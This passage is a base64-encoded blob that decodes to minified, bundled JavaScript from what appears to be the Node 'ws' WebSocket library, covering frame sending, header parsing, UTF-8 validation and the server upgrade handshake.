CeXRlcy09c1t1XSx0aGlzLl9zdGF0ZT1nLHMucmVhZE9ubHk9ITEsdGhpcy5zZW5kRnJhbWUodi5mcmFtZSh0LHMpLGkpLHRoaXMuZGVxdWV1ZSgpfSl9ZGVxdWV1ZSgpe2Zvcig7dGhpcy5fc3RhdGU9PT1nJiZ0aGlzLl9xdWV1ZS5sZW5ndGg7KXtsZXQgZT10aGlzLl9xdWV1ZS5zaGlmdCgpO3RoaXMuX2J1ZmZlcmVkQnl0ZXMtPWVbM11bdV0sUmVmbGVjdC5hcHBseShlWzBdLHRoaXMsZS5zbGljZSgxKSl9fWVucXVldWUoZSl7dGhpcy5fYnVmZmVyZWRCeXRlcys9ZVszXVt1XSx0aGlzLl9xdWV1ZS5wdXNoKGUpfXNlbmRGcmFtZShlLHQpezI9PT1lLmxlbmd0aD8odGhpcy5fc29ja2V0LmNvcmsoKSx0aGlzLl9zb2NrZXQud3JpdGUoZVswXSksdGhpcy5fc29ja2V0LndyaXRlKGVbMV0sdCksdGhpcy5fc29ja2V0LnVuY29yaygpKTp0aGlzLl9zb2NrZXQud3JpdGUoZVswXSx0KX19ZnVuY3Rpb24gYihlLHQscyl7ImZ1bmN0aW9uIj09dHlwZW9mIHMmJnModCk7Zm9yKGxldCBpPTA7aTxlLl9xdWV1ZS5sZW5ndGg7aSsrKXtsZXQgcj1lLl9xdWV1ZVtpXSxvPXJbci5sZW5ndGgtMV07ImZ1bmN0aW9uIj09dHlwZW9mIG8mJm8odCl9fWZ1bmN0aW9uIFMoZSx0LHMpe2IoZSx0LHMpLGUub25lcnJvcih0KX1lLmV4cG9ydHM9dn0sMjUoZSx0LHMpeyJ1c2Ugc3RyaWN0IjtzKDgxKTtsZXR7RHVwbGV4Oml9PXMoNzgxKTtmdW5jdGlvbiByKGUpe2UuZW1pdCgiY2xvc2UiKX1mdW5jdGlvbiBvKCl7IXRoaXMuZGVzdHJveWVkJiZ0aGlzLl93cml0YWJsZVN0YXRlLmZpbmlzaGVkJiZ0aGlzLmRlc3Ryb3koKX1mdW5jdGlvbiBuKGUpe3RoaXMucmVtb3ZlTGlzdGVuZXIoImVycm9yIixuKSx0aGlzLmRlc3Ryb3koKSwwPT09dGhpcy5saXN0ZW5lckNvdW50KCJlcnJvciIpJiZ0aGlzLmVtaXQoImVycm9yIixlKX1mdW5jdGlvbiBhKGUsdCl7bGV0IHM9ITAsYT1uZXcgaSh7Li4udCxhdXRvRGVzdHJveTohMSxlbWl0Q2xvc2U6ITEsb2JqZWN0TW9kZTohMSx3cml0YWJsZU9iamVjdE1vZGU6ITF9KTtyZXR1cm4gZS5vbigibWVzc2FnZSIsZnVuY3Rpb24gdChzLGkpe2xldCByPSFpJiZhLl9yZWFkYWJsZVN0YXRlLm9iamVjdE1vZGU/cy50b1N0cmluZygpOnM7YS5wdXNoKHIpfHxlLnBhdXNlKCl9KSxlLm9uY2UoImVycm9yIixmdW5jdGlvbiBlKHQpe2EuZGVzdHJveWVkfHwocz0hMSxhLmRlc3Ryb3kodCkpfSksZS5vbmNlKCJjbG9zZSIsZnVuY3Rpb24gZSgpe2EuZGVzdHJveWVkfHxhLnB1c2gobnVsbCl9KSxhLl9kZXN0cm95PWZ1bmN0aW9uKHQsaSl7aWYoZS5yZWFkeVN0YXRlPT09ZS5DTE9TRUQpe2kodCkscHJvY2Vzcy5uZXh0VGljayhyLGEpO3JldHVybn1sZXQgbz0hMTtlLm9uY2UoImVycm9yIixmdW5jdGlvbiBlKHQpe289ITAsaSh0KX0pLGUub25jZSgiY2xvc2UiLGZ1bmN0aW9uIGUoKXtvfHxpKHQpLHByb2Nlc3MubmV4dFRpY2socixhKX0pLHMmJmUudGVybWluYXRlKCl9LGEuX2ZpbmFsPWZ1bmN0aW9uKHQpe2lmKGUucmVhZHlTdGF0ZT09PWUuQ09OTkVDVElORyl7ZS5vbmNlKCJvcGVuIixmdW5jdGlvbiBlKCl7YS5fZmluYWwodCl9KTtyZXR1cm59bnVsbCE9PWUuX3NvY2tldCYmKGUuX3NvY2tldC5fd3JpdGFibGVTdGF0ZS5maW5pc2hlZD8odCgpLGEuX3JlYWRhYmxlU3RhdGUuZW5kRW1pdHRlZCYmYS5kZXN0cm95KCkpOihlLl9zb2NrZXQub25jZSgiZmluaXNoIixmdW5jdGlvbiBlKCl7dCgpfSksZS5jbG9zZSgpKSl9LGEuX3JlYWQ9ZnVuY3Rpb24oKXtlLmlzUGF1c2VkJiZlLnJlc3VtZSgpfSxhLl93cml0ZT1mdW5jdGlvbih0LHMsaSl7aWYoZS5yZWFkeVN0YXRlPT09ZS5DT05ORUNUSU5HKXtlLm9uY2UoIm9wZW4iLGZ1bmN0aW9uIGUoKXthLl93cml0ZSh0LHMsaSl9KTtyZXR1cm59ZS5zZW5kKHQsaSl9LGEub24oImVuZCIsbyksYS5vbigiZXJyb3IiLG4pLGF9ZS5leHBvcnRzPWF9LDY5NyhlLHQscyl7InVzZSBzdHJpY3QiO2xldHt0b2tlbkNoYXJzOml9PXMoODgzKTtmdW5jdGlvbiByKGUpe2xldCB0PW5ldyBTZXQscz0tMSxyPS0xLG89MDtmb3IoO288ZS5sZW5ndGg7bysrKXtsZXQgbj1lLmNoYXJDb2RlQXQobyk7aWYoLTE9PT1yJiYxPT09aVtuXSktMT09PXMmJihzPW8pO2Vsc2UgaWYoMCE9PW8mJigzMj09PW58fDk9PT1uKSktMT09PXImJi0xIT09cyYmKHI9byk7ZWxzZSBpZig0ND09PW4pe2lmKC0xPT09cyl0aHJvdyBTeW50YXhFcnJvcihgVW5leHBlY3RlZCBjaGFyYWN0ZXIgYXQgaW5kZXggJHtvfWApOy0xPT09ciYmKHI9byk7bGV0IGE9ZS5zbGljZShzLHIpO2lmKHQuaGFzKGEpKXRocm93IFN5bnRheEVycm9yKGBUaGUgIiR7YX0iIHN1YnByb3RvY29sIGlzIGR1cGxpY2F0ZWRgKTt0LmFkZChhKSxzPXI9LTF9ZWxzZSB0aHJvdyBTeW50YXhFcnJvcihgVW5leHBlY3RlZCBjaGFyYWN0ZXIgYXQgaW5kZXggJHtvfWApfWlmKC0xPT09c3x8LTEhPT1yKXRocm93IFN5bnRheEVycm9yKCJVbmV4cGVjdGVkIGVuZCBvZiBpbnB1dCIpO2xldCBoPWUuc2xpY2UocyxvKTtpZih0LmhhcyhoKSl0aHJvdyBTeW50YXhFcnJvcihgVGhlICIke2h9IiBzdWJwcm90b2NvbCBpcyBkdXBsaWNhdGVkYCk7cmV0dXJuIHQuYWRkKGgpLHR9ZS5leHBvcnRzPXtwYXJzZTpyfX0sODgzKGUsdCxzKXsidXNlIHN0cmljdCI7bGV0e2lzVXRmODppfT1zKDMwMCkse2hhc0Jsb2I6cn09cyg3NDIpLG89WzAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDAsMCwwLDEsMCwxLDEsMSwxLDEsMCwwLDEsMSwwLDEsMSwwLDEsMSwxLDEsMSwxLDEsMSwxLDEsMCwwLDAsMCwwLDAsMCwxLDEsMSwxLDEsMSwxLDEsMSwxLDEsMSwxLDEsMSwxLDEsMSwxLDEsMSwxLDEsMSwxLDEsMCwwLDAsMSwxLDEsMSwxLDEsMSwxLDEsMSwxLDEsMSwxLDEsMSwxLDEsMSwxLDEsMSwxLDEsMSwxLDEsMSwxLDAsMSwwLDEsMF07ZnVuY3Rpb24gbihlKXtyZXR1cm4gZT49MWUzJiZlPD0xMDE0JiYxMDA0IT09ZSYmMTAwNSE9PWUmJjEwMDYhPT1lfHxlPj0zZTMmJmU8PTQ5OTl9ZnVuY3Rpb24gYShlKXtsZXQgdD1lLmxlbmd0aCxzPTA7Zm9yKDtzPHQ7KWlmKCgxMjgmZVtzXSk9PTApcysrO2Vsc2UgaWYoKDIyNCZlW3NdKT09MTkyKXtpZihzKzE9PT10fHwoMTkyJmVbcysxXSkhPTEyOHx8KDI1NCZlW3NdKT09MTkyKXJldHVybiExO3MrPTJ9ZWxzZSBpZigoMjQwJmVbc10pPT0yMjQpe2lmKHMrMj49dHx8KDE5MiZlW3MrMV0pIT0xMjh8fCgxOTImZVtzKzJdKSE9MTI4fHwyMjQ9PT1lW3NdJiYoMjI0JmVbcysxXSk9PTEyOHx8MjM3PT09ZVtzXSYmKDIyNCZlW3MrMV0pPT0xNjApcmV0dXJuITE7cys9M31lbHNle2lmKCgyNDgmZVtzXSkhPTI0MHx8cyszPj10fHwoMTkyJmVbcysxXSkhPTEyOHx8KDE5MiZlW3MrMl0pIT0xMjh8fCgxOTImZVtzKzNdKSE9MTI4fHwyNDA9PT1lW3NdJiYoMjQwJmVbcysxXSk9PTEyOHx8MjQ0PT09ZVtzXSYmZVtzKzFdPjE0M3x8ZVtzXT4yNDQpcmV0dXJuITE7cys9NH1yZXR1cm4hMH1mdW5jdGlvbiBoKGUpe3JldHVybiByJiYib2JqZWN0Ij09dHlwZW9mIGUmJiJmdW5jdGlvbiI9PXR5cGVvZiBlLmFycmF5QnVmZmVyJiYic3RyaW5nIj09dHlwZW9mIGUudHlwZSYmImZ1bmN0aW9uIj09dHlwZW9mIGUuc3RyZWFtJiYoIkJsb2IiPT09ZVtTeW1ib2wudG9TdHJpbmdUYWddfHwiRmlsZSI9PT1lW1N5bWJvbC50b1N0cmluZ1RhZ10pfWlmKGUuZXhwb3J0cz17aXNCbG9iOmgsaXNWYWxpZFN0YXR1c0NvZGU6bixpc1ZhbGlkVVRGODphLHRva2VuQ2hhcnM6b30saSllLmV4cG9ydHMuaXNWYWxpZFVURjg9ZnVuY3Rpb24oZSl7cmV0dXJuIGUubGVuZ3RoPDI0P2EoZSk6aShlKX07ZWxzZSBpZighcHJvY2Vzcy5lbnYuV1NfTk9fVVRGXzhfVkFMSURBVEUpdHJ5e2xldCBsPXMoMzY1KTtlLmV4cG9ydHMuaXNWYWxpZFVURjg9ZnVuY3Rpb24oZSl7cmV0dXJuIGUubGVuZ3RoPDMyP2EoZSk6bChlKX19Y2F0Y2goYyl7fX0sMTQzKGUsdCxzKXsidXNlIHN0cmljdCI7bGV0IGk9cygzNjEpLHI9cyg2ODUpLHtEdXBsZXg6b309cyg3ODEpLHtjcmVhdGVIYXNoOm59PXMoMTEzKSxhPXMoOTkxKSxoPXMoNjU4KSxsPXMoNjk3KSxjPXMoODEpLHtHVUlEOmQsa1dlYlNvY2tldDpmfT1zKDc0MiksdT0vXlsrLzAtOUEtWmEtel17MjJ9PT0kLywkPTAscD0xLG09MjtjbGFzcyBfIGV4dGVuZHMgaXtjb25zdHJ1Y3RvcihlLHQpe2lmKHN1cGVyKCksbnVsbD09KGU9e2FsbG93U3luY2hyb25vdXNFdmVudHM6ITAsYXV0b1Bvbmc6ITAsbWF4UGF5bG9hZDoxMDQ4NTc2MDAsc2tpcFVURjhWYWxpZGF0aW9uOiExLHBlck1lc3NhZ2VEZWZsYXRlOiExLGhhbmRsZVByb3RvY29sczpudWxsLGNsaWVudFRyYWNraW5nOiEwLHZlcmlmeUNsaWVudDpudWxsLG5vU2VydmVyOiExLGJhY2tsb2c6bnVsbCxzZXJ2ZXI6bnVsbCxob3N0Om51bGwscGF0aDpudWxsLHBvcnQ6bnVsbCxXZWJTb2NrZXQ6YywuLi5lfSkucG9ydCYmIWUuc2VydmVyJiYhZS5ub1NlcnZlcnx8bnVsbCE9ZS5wb3J0JiYoZS5zZXJ2ZXJ8fGUubm9TZXJ2ZXIpfHxlLnNlcnZlciYmZS5ub1NlcnZlcil0aHJvdyBUeXBlRXJyb3IoJ09uZSBhbmQgb25seSBvbmUgb2YgdGhlICJwb3J0IiwgInNlcnZlciIsIG9yICJub1NlcnZlciIgb3B0aW9ucyBtdXN0IGJlIHNwZWNpZmllZCcpO2lmKG51bGwhPWUucG9ydD8odGhpcy5fc2VydmVyPXIuY3JlYXRlU2VydmVyKChlLHQpPT57bGV0IHM9ci5TVEFUVVNfQ09ERVNbNDI2XTt0LndyaXRlSGVhZCg0MjYseyJDb250ZW50LUxlbmd0aCI6cy5sZW5ndGgsIkNvbnRlbnQtVHlwZSI6InRleHQvcGxhaW4ifSksdC5lbmQocyl9KSx0aGlzLl9zZXJ2ZXIubGlzdGVuKGUucG9ydCxlLmhvc3QsZS5iYWNrbG9nLHQpKTplLnNlcnZlciYmKHRoaXMuX3NlcnZlcj1lLnNlcnZlciksdGhpcy5fc2VydmVyKXtsZXQgcz10aGlzLmVtaXQuYmluZCh0aGlzLCJjb25uZWN0aW9uIik7dGhpcy5fcmVtb3ZlTGlzdGVuZXJzPWcodGhpcy5fc2VydmVyLHtsaXN0ZW5pbmc6dGhpcy5lbWl0LmJpbmQodGhpcywibGlzdGVuaW5nIiksZXJyb3I6dGhpcy5lbWl0LmJpbmQodGhpcywiZXJyb3IiKSx1cGdyYWRlOihlLHQsaSk9Pnt0aGlzLmhhbmRsZVVwZ3JhZGUoZSx0LGkscyl9fSl9ITA9PT1lLnBlck1lc3NhZ2VEZWZsYXRlJiYoZS5wZXJNZXNzYWdlRGVmbGF0ZT17fSksZS5jbGllbnRUcmFja2luZyYmKHRoaXMuY2xpZW50cz1uZXcgU2V0LHRoaXMuX3Nob3VsZEVtaXRDbG9zZT0hMSksdGhpcy5vcHRpb25zPWUsdGhpcy5fc3RhdGU9JH1hZGRyZXNzKCl7aWYodGhpcy5vcHRpb25zLm5vU2VydmVyKXRocm93IEVycm9yKCdUaGUgc2VydmVyIGlzIG9wZXJhdGluZyBpbiAibm9TZXJ2ZXIiIG1vZGUnKTtyZXR1cm4gdGhpcy5fc2VydmVyP3RoaXMuX3NlcnZlci5hZGRyZXNzKCk6bnVsbH1jbG9zZShlKXtpZih0aGlzLl9zdGF0ZT09PW0pe2UmJnRoaXMub25jZSgiY2xvc2UiLCgpPT57ZShFcnJvcigiVGhlIHNlcnZlciBpcyBub3QgcnVubmluZyIpKX0pLHByb2Nlc3MubmV4dFRpY2soeSx0aGlzKTtyZXR1cm59aWYoZSYmdGhpcy5vbmNlKCJjbG9zZSIsZSksdGhpcy5fc3RhdGUhPT1wKXtpZih0aGlzLl9zdGF0ZT1wLHRoaXMub3B0aW9ucy5ub1NlcnZlcnx8dGhpcy5vcHRpb25zLnNlcnZlcil0aGlzLl9zZXJ2ZXImJih0aGlzLl9yZW1vdmVMaXN0ZW5lcnMoKSx0aGlzLl9yZW1vdmVMaXN0ZW5lcnM9dGhpcy5fc2VydmVyPW51bGwpLHRoaXMuY2xpZW50cyYmdGhpcy5jbGllbnRzLnNpemU/dGhpcy5fc2hvdWxkRW1pdENsb3NlPSEwOnByb2Nlc3MubmV4dFRpY2soeSx0aGlzKTtlbHNle2xldCB0PXRoaXMuX3NlcnZlcjt0aGlzLl9yZW1vdmVMaXN0ZW5lcnMoKSx0aGlzLl9yZW1vdmVMaXN0ZW5lcnM9dGhpcy5fc2VydmVyPW51bGwsdC5jbG9zZSgoKT0+e3kodGhpcyl9KX19fXNob3VsZEhhbmRsZShlKXtpZih0aGlzLm9wdGlvbnMucGF0aCl7bGV0IHQ9ZS51cmwuaW5kZXhPZigiPyIpLHM9LTEhPT10P2UudXJsLnNsaWNlKDAsdCk6ZS51cmw7aWYocyE9PXRoaXMub3B0aW9ucy5wYXRoKXJldHVybiExfXJldHVybiEwfWhhbmRsZVVwZ3JhZGUoZSx0LHMsaSl7dC5vbigiZXJyb3IiLHgpO2xldCByPWUuaGVhZGVyc1sic2VjLXdlYnNvY2tldC1rZXkiXSxvPWUuaGVhZGVycy51cGdyYWRlLG49K2UuaGVhZGVyc1sic2VjLXdlYnNvY2tldC12ZXJzaW9uIl07aWYoIkdFVCIhPT1lLm1ldGhvZCl7bGV0IGM9IkludmFsaWQgSFRUUCBtZXRob2QiO2IodGhpcyxlLHQsNDA1LGMpO3JldHVybn1pZih2b2lkIDA9PT1vfHwid2Vic29ja2V0IiE9PW8udG9Mb3dlckNhc2UoKSl7bGV0IGQ9IkludmFsaWQgVXBncmFkZSBoZWFkZXIiO2IodGhpcyxlLHQsNDAwLGQpO3JldHVybn1pZih2b2lkIDA9PT1yfHwhdS50ZXN0KHIpKXtsZXQgZj0iTWlzc2luZyBvciBpbnZhbGlkIFNlYy1XZWJTb2NrZXQtS2V5IGhlYWRlciI7Yih0aGlzLGUsdCw0MDAsZik7cmV0dXJufWlmKDghPT1uJiYxMyE9PW4pe2xldCAkPSJNaXNzaW5nIG9yIGludmFsaWQgU2VjLVdlYlNvY2tldC1WZXJzaW9uIGhlYWRlciI7Yih0aGlzLGUsdCw0MDAsJCk7cmV0dXJufWlmKCF0aGlzLnNob3VsZEhhbmRsZShlKSl7dih0LDQwMCk7cmV0dXJufWxldCBwPWUuaGVhZGVyc1sic2VjLXdlYnNvY2tldC1wcm90b2NvbCJdLG09bmV3IFNldDtpZih2b2lkIDAhPT1wKXRyeXttPWwucGFyc2UocCl9Y2F0Y2goXyl7bGV0IGc9IkludmFsaWQgU2VjLVdlYlNvY2tldC1Qcm90b2NvbCBoZWFkZXIiO2IodGhpcyxlLHQsNDAwLGcpO3JldHVybn1sZXQgeT1lLmhlYWRlcnNbInNlYy13ZWJzb2NrZXQtZXh0ZW5zaW9ucyJdLFM9e307aWYodGhpcy5vcHRpb25zLnBlck1lc3NhZ2VEZWZsYXRlJiZ2b2lkIDAhPT15KXtsZXQgaz1uZXcgaCh0aGlzLm9wdGlvbnMucGVyTWVzc2FnZURlZmxhdGUsITAsdGhpcy5vcHRpb25zLm1heFBheWxvYWQpO3RyeXtsZXQgdz1hLnBhcnNlKHkpO3dbaC5leHRlbnNpb25OYW1lXSYmKGsuYWNjZXB0KHdbaC5leHRlbnNpb25OYW1lXSksU1toLmV4dGVuc2lvbk5hbWVdPWspfWNhdGNoKEUpe2xldCBDPSJJbnZhbGlkIG9yIHVuYWNjZXB0YWJsZSBTZWMtV2ViU29ja2V0LUV4dGVuc2lvbnMgaGVhZGVyIjtiKHRoaXMsZSx0LDQwMCxDKTtyZXR1cm59fWlmKHRoaXMub3B0aW9ucy52ZXJpZnlDbGllbnQpe2xldCBUPXtvcmlnaW46ZS5oZWFkZXJzW2Akezg9PT1uPyJzZWMtd2Vic29ja2V0LW9yaWdpbiI6Im9yaWdpbiJ9YF0sc2VjdXJlOiEhKGUuc29ja2V0LmF1dGhvcml6ZWR8fGUuc29ja2V0LmVuY3J5cHRlZCkscmVxOmV9O2lmKDI9PT10aGlzLm9wdGlvbnMudmVyaWZ5Q2xpZW50Lmxlbmd0aCl7dGhpcy5vcHRpb25zLnZlcmlmeUNsaWVudChULChvLG4sYSxoKT0+e2lmKCFvKXJldHVybiB2KHQsbnx8NDAxLGEsaCk7dGhpcy5jb21wbGV0ZVVwZ3JhZGUoUyxyLG0sZSx0LHMsaSl9KTtyZXR1cm59aWYoIXRoaXMub3B0aW9ucy52ZXJpZnlDbGllbnQoVCkpcmV0dXJuIHYodCw0MDEpfXRoaXMuY29tcGxldGVVcGdyYWRlKFMscixtLGUsdCxzLGkpfWNvbXBsZXRlVXBncmFkZShlLHQscyxpLHIsbyxsKXtpZighci5yZWFkYWJsZXx8IXIud3JpdGFibGUpcmV0dXJuIHIuZGVzdHJveSgpO2lmKHJbZl0pdGhyb3cgRXJyb3IoInNlcnZlci5oYW5kbGVVcGdyYWRlKCkgd2FzIGNhbGxlZCBtb3JlIHRoYW4gb25jZSB3aXRoIHRoZSBzYW1lIHNvY2tldCwgcG9zc2libHkgZHVlIHRvIGEgbWlzY29uZmlndXJhdGlvbiIpO2lmKHRoaXMuX3N0YXRlPiQpcmV0dXJuIHYociw1MDMpO2xldCBjPW4oInNoYTEiKS51cGRhdGUodCtkKS5kaWdlc3QoImJhc2U2NCIpLHU9WyJIVFRQLzEuMSAxMDEgU3dpdGNoaW5nIFByb3RvY29scyIsIlVwZ3JhZGU6IHdlYnNvY2tldCIsIkNvbm5lY3Rpb246IFVwZ3JhZGUiLGBTZWMtV2ViU29ja2V0LUFjY2VwdDogJHtjfWBdLHA9bmV3IHRoaXMub3B0aW9ucy5XZWJTb2NrZXQobnVsbCx2b2lkIDAsdGhpcy5vcHRpb25zKTtpZihzLnNpemUpe2xldCBtPXRoaXMub3B0aW9ucy5oYW5kbGVQcm90b2NvbHM/dGhpcy5vcHRpb25zLmhhbmRsZVByb3RvY29scyhzLGkpOnMudmFsdWVzKCkubmV4dCgpLnZhbHVlO20mJih1LnB1c2goYFNlYy1XZWJTb2NrZXQtUHJvdG9jb2w6ICR7bX1gKSxwLl9wcm90b2NvbD1tKX1pZihlW2guZXh0ZW5zaW9uTmFtZV0pe2xldCBfPWVbaC5leHRlbnNpb25OYW1lXS5wYXJhbXMsZz1hLmZvcm1hdCh7W2guZXh0ZW5zaW9uTmFtZV06W19dfSk7dS5wdXNoKGBTZWMtV2ViU29ja2V0LUV4dGVuc2lvbnM6ICR7Z31gKSxwLl9leHRlbnNpb25zPWV9dGhpcy5lbWl0KCJoZWFkZXJzIix1LGkpLHIud3JpdGUodS5jb25jYXQoIlxyXG4iKS5qb2luKCJcclxuIikpLHIucmVtb3ZlTGlzdGVuZXIoImVycm9yIix4KSxwLnNldFNvY2tldChyLG8se2FsbG93U3luY2hyb25vdXNFdmVudHM6dGhpcy5vcHRpb25zLmFsbG93U3luY2hyb25vdXNFdmVudHMsbWF4UGF5bG9hZDp0aGlzLm9wdGlvbnMubWF4UGF5bG9hZCxza2lwVVRGOFZhbGlkYXRpb246dGhpcy5vcHRpb25zLnNraXBVVEY4VmFsaWRhdGlvbn0pLHRoaXMuY2xpZW50cyYmKHRoaXMuY2xpZW50cy5hZGQocCkscC5vbigiY2xvc2UiLCgpPT57dGhpcy5jbGllbnRzLmRlbGV0ZShwKSx0aGlzLl9zaG91bGRFbWl0Q2xvc2UmJiF0aGlzLmNsaWVudHMuc2l6ZSYmcHJvY2Vzcy5uZXh0VGljayh5LHRoaXMpfSkpLGwocCxpKX19ZnVuY3Rpb24gZyhlLHQpe2ZvcihsZXQgcyBvZiBPYmplY3Qua2V5cyh0KSllLm9uKHMsdFtzXSk7cmV0dXJuIGZ1bmN0aW9uIHMoKXtmb3IobGV0IGkgb2YgT2JqZWN0LmtleXModCkpZS5yZW1vdmVMaXN0ZW5lcihpLHRbaV0pfX1mdW5jdGlvbiB5KGUpe2UuX3N0YXRlPW0sZS5lbWl0KCJjbG9zZSIpfWZ1bmN0aW9uIHgoKXt0aGlzLmRlc3Ryb3koKX1mdW5jdGlvbiB2KGUsdCxzLGkpe3M9c3x8ci5TVEFUVVNfQ09ERVNbdF0saT17Q29ubmVjdGlvbjoiY2xvc2UiLCJDb250ZW50LVR5cGUiOiJ0ZXh0L2h0bWwiLCJDb250ZW50LUxlbmd0aCI6QnVmZmVyLmJ5dGVMZW5ndGgocyksLi4uaX0sZS5vbmNlKCJmaW5pc2giLGUuZGVzdHJveSksZS5lbmQoYEhUVFAvMS4xICR7dH0gJHtyLlNUQVRVU19DT0RFU1t0XX1ccgpgK09iamVjdC5rZXlzKGkpLm1hcChlPT5gJHtlfTogJHtpW2VdfWApLmpvaW4oIlxyXG4iKSsiXHJcblxyXG4iK3MpfWZ1bmN0aW9uIGIoZSx0LHMsaSxyKXtpZihlLmxpc3RlbmVyQ291bnQoIndzQ2xpZW50RXJyb3IiKSl7bGV0IG89RXJyb3Iocik7RXJyb3IuY2FwdHVyZVN0YWNrVHJhY2UobyxiKSxlLmVtaXQoIndzQ2xpZW50RXJyb3IiLG8scyx0KX1lbHNlIHYocyxpLHIpfWUuZXhwb3J0cz1ffSw4MShlLHQscyl7InVzZSBzdHJpY3QiO2xldCBpPXMoMzYxKSxyPXMoNjg3KSxvPXMoNjg1KSxuPXMoODA4KSxhPXMoNDA0KSx7cmFuZG9tQnl0ZXM6aCxjcmVhdGVIYXNoOmx9PXMoMTEzKSx7RHVwbGV4OmMsUmVhZGFibGU6ZH09cyg3ODEpLHtVUkw6Zn09cygzMTApLHU9cyg2NTgpLCQ9cygzMTUpLHA9cyg2NzUpLHtpc0Jsb2I6bX09cyg4ODMpLHtCSU5BUllfVFlQRVM6XyxFTVBUWV9CVUZGRVI6ZyxHVUlEOnksa0Zvck9uRXZlbnRBdHRyaWJ1dGU6eCxrTGlzdGVuZXI6dixrU3RhdHVzQ29kZTpiLGtXZWJTb2NrZXQ6UyxOT09QOmt9PXMoNzQyKSx7RXZlbnRUYXJnZXQ6e2FkZEV2ZW50TGlzdGVuZXI6dyxyZW1vdmVFdmVudExpc3RlbmVyOkV9fT1zKDQ2Mykse2Zvcm1hdDpDLHBhcnNlOlR9PXMoOTkxKSx7dG9CdWZmZXI6Tn09cyg3MjgpLEw9M2U0LE89U3ltYm9sKCJrQWJvcnRlZCIpLFA9WzgsMTNdLFU9WyJDT05ORUNUSU5HIiwiT1BFTiIsIkNMT1NJTkciLCJDTE9TRUQiXSxJPS9eWyEjJCUmJyorXC0uMC05QS1aXl9gfGEten5dKyQvO2NsYXNzIEQgZXh0ZW5kcyBpe2NvbnN0cnVjdG9yKGUsdCxzKXtzdXBlcigpLHRoaXMuX2JpbmFyeVR5cGU9X1swXSx0aGlzLl9jbG9zZUNvZGU9MTAwNix0aGlzLl9jbG9zZUZyYW1lUmVjZWl2ZWQ9ITEsdGhpcy5fY2xvc2VGcmFtZVNlbnQ9ITEsdGhpcy5fY2xvc2VNZXNzYWdlPWcsdGhpcy5fY2xvc2VUaW1lcj1udWxsLHRoaXMuX2Vycm9yRW1pdHRlZD0hMSx0aGlzLl9leHRlbnNpb25zPXt9LHRoaXMuX3BhdXNlZD0hMSx0aGlzLl9wcm90b2NvbD0iIix0aGlzLl9yZWFkeVN0YXRlPUQuQ09OTkVDVElORyx0aGlzLl9yZWNlaXZlcj1udWxsLHRoaXMuX3NlbmRlcj1udWxsLHRoaXMuX3NvY2tldD1udWxsLG51bGwhPT1lPyh0aGlzLl9idWZmZXJlZEFtb3VudD0wLHRoaXMuX2lzU2VydmVyPSExLHRoaXMuX3JlZGlyZWN0cz0wLHZvaWQgMD09PXQ/dD1bXTpBcnJheS5pc0FycmF5KHQpfHwoIm9iamVjdCI9PXR5cGVvZiB0JiZudWxsIT09dD8ocz10LHQ9W10pOnQ9W3RdKSxSKHRoaXMsZSx0LHMpKToodGhpcy5fYXV0b1Bvbmc9cy5hdXRvUG9uZyx0aGlzLl9pc1NlcnZlcj0hMCl9Z2V0IGJpbmFyeVR5cGUoKXtyZXR1cm4gdGhpcy5fYmluYXJ5VHlwZX1zZXQgYmluYXJ5VHlwZShlKXtfLmluY2x1ZGVzKGUpJiYodGhpcy5fYmluYXJ5VHlwZT1lLHRoaXMuX3JlY2VpdmVyJiYodGhpcy5fcmVjZWl2ZXIuX2JpbmFyeVR5cGU9ZSkpfWdldCBidWZmZXJlZEFtb3VudCgpe3JldHVybiB0aGlzLl9zb2NrZXQ/dGhpcy5fc29ja2V0Ll93cml0YWJsZVN0YXRlLmxlbmd0aCt0aGlzLl9zZW5kZXIuX2J1ZmZlcmVkQnl0ZXM6dGhpcy5fYnVmZmVyZWRBbW91bnR9Z2V0IGV4dGVuc2lvbnMoKXtyZXR1cm4gT2JqZWN0LmtleXModGhpcy5fZXh0ZW5zaW9ucykuam9pbigpfWdldCBpc1BhdXNlZCgpe3JldHVybiB0aGlzLl9wYXVzZWR9Z2V0IG9uY2xvc2UoKXtyZXR1cm4gbnVsbH1nZXQgb25lcnJvcigpe3JldHVybiBudWxsfWdldCBvbm9wZW4oKXtyZXR1cm4gbnVsbH1nZXQgb25tZXNzYWdlKCl7cmV0dXJuIG51bGx9Z2V0IHByb3RvY29sKCl7cmV0dXJuIHRoaXMuX3Byb3RvY29sfWdldCByZWFkeVN0YXRlKCl7cmV0dXJuIHRoaXMuX3JlYWR5U3RhdGV9Z2V0IHVybCgpe3JldHVybiB0aGlzLl91cmx9c2V0U29ja2V0KGUsdCxzKXtsZXQgaT1uZXcgJCh7YWxsb3dTeW5jaHJvbm91c0V2ZW50czpzLmFsbG93U3luY2hyb25vdXNFdmVudHMsYmluYXJ5VHlwZTp0aGlzLmJpbmFyeVR5cGUsZXh0ZW5zaW9uczp0aGlzLl9leHRlbnNpb25zLGlzU2VydmVyOnRoaXMuX2lzU2VydmVyLG1heFBheWxvYWQ6cy5tYXhQYXlsb2FkLHNraXBVVEY4VmFsaWRhdGlvbjpzLnNraXBVVEY4VmFsaWRhdGlvbn0pLHI9bmV3IHAoZSx0aGlzLl9leHRlbnNpb25zLHMuZ2VuZXJhdGVNYXNrKTt0aGlzLl9yZWNlaXZlcj1pLHRoaXMuX3NlbmRlcj1yLHRoaXMuX3NvY2tldD1lLGlbU109dGhpcyxyW1NdPXRoaXMsZVtTXT10aGlzLGkub24oImNvbmNsdWRlIixHKSxpLm9uKCJkcmFpbiIsViksaS5vbigiZXJyb3IiLHEpLGkub24oIm1lc3NhZ2UiLGopLGkub24oInBpbmciLEgpLGkub24oInBvbmciLFgpLHIub25lcnJvcj1aLGUuc2V0VGltZW91dCYmZS5zZXRUaW1lb3V0KDApLGUuc2V0Tm9EZWxheSYmZS5zZXROb0RlbGF5KCksdC5sZW5ndGg+MCYmZS51bnNoaWZ0KHQpLGUub24oImNsb3NlIixKKSxlLm9uKCJkYXRhIixRKSxlLm9uKCJlbmQiLGVlKSxlLm9uKCJlcnJvciIsZXQpLHRoaXMuX3JlYWR5U3RhdGU9RC5PUEVOLHRoaXMuZW1pdCgib3BlbiIpfWVtaXRDbG9zZSgpe2lmKCF0aGlzLl9zb2NrZXQpe3RoaXMuX3JlYWR5U3RhdGU9RC5DTE9TRUQsdGhpcy5lbWl0KCJjbG9zZSIsdGhpcy5fY2xvc2VDb2RlLHRoaXMuX2Nsb3NlTWVzc2FnZSk7cmV0dXJufXRoa